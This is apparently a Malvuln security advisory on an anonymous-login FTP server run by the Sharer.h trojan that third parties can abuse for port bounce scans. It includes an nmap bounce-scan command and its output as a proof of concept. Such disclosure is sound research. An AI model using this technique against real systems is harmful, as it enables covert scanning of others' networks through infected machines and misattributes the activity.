Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Trojan.Win32.Sharer.h  
Vulnerability: Anonymous Logon MITM Port Bounce Scan  
Description: Sharer.h by GOLDSWORD - can run several types of services one is an FTP server named "20CN MINIFTP" TCP port 21. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.  
Type: PE32  
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551  
Vuln ID: MVID-2021-0159  
Dropped files: FtpServer.exe  
Disclosure: 04/03/2021  
nmap -n -Pn -b anonymous:malvuln@ -p22,80 -v  
Starting Nmap 7.80 ( ) at 2021-04-01 20:56 Pacific Daylight Time  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://anonymous:malvuln@  
Connected:220 โ”€ฯ€Yโ•™โ•“โ””โ”คโ”ดโ•ฆ!!!  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 20:56  
Discovered open port 80/tcp on  
Completed Bounce Scan at 20:56, 1.05s elapsed (2 total ports)  
Nmap scan report for  
Host is up.  
22/tcp closed ssh  
80/tcp open http  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds  
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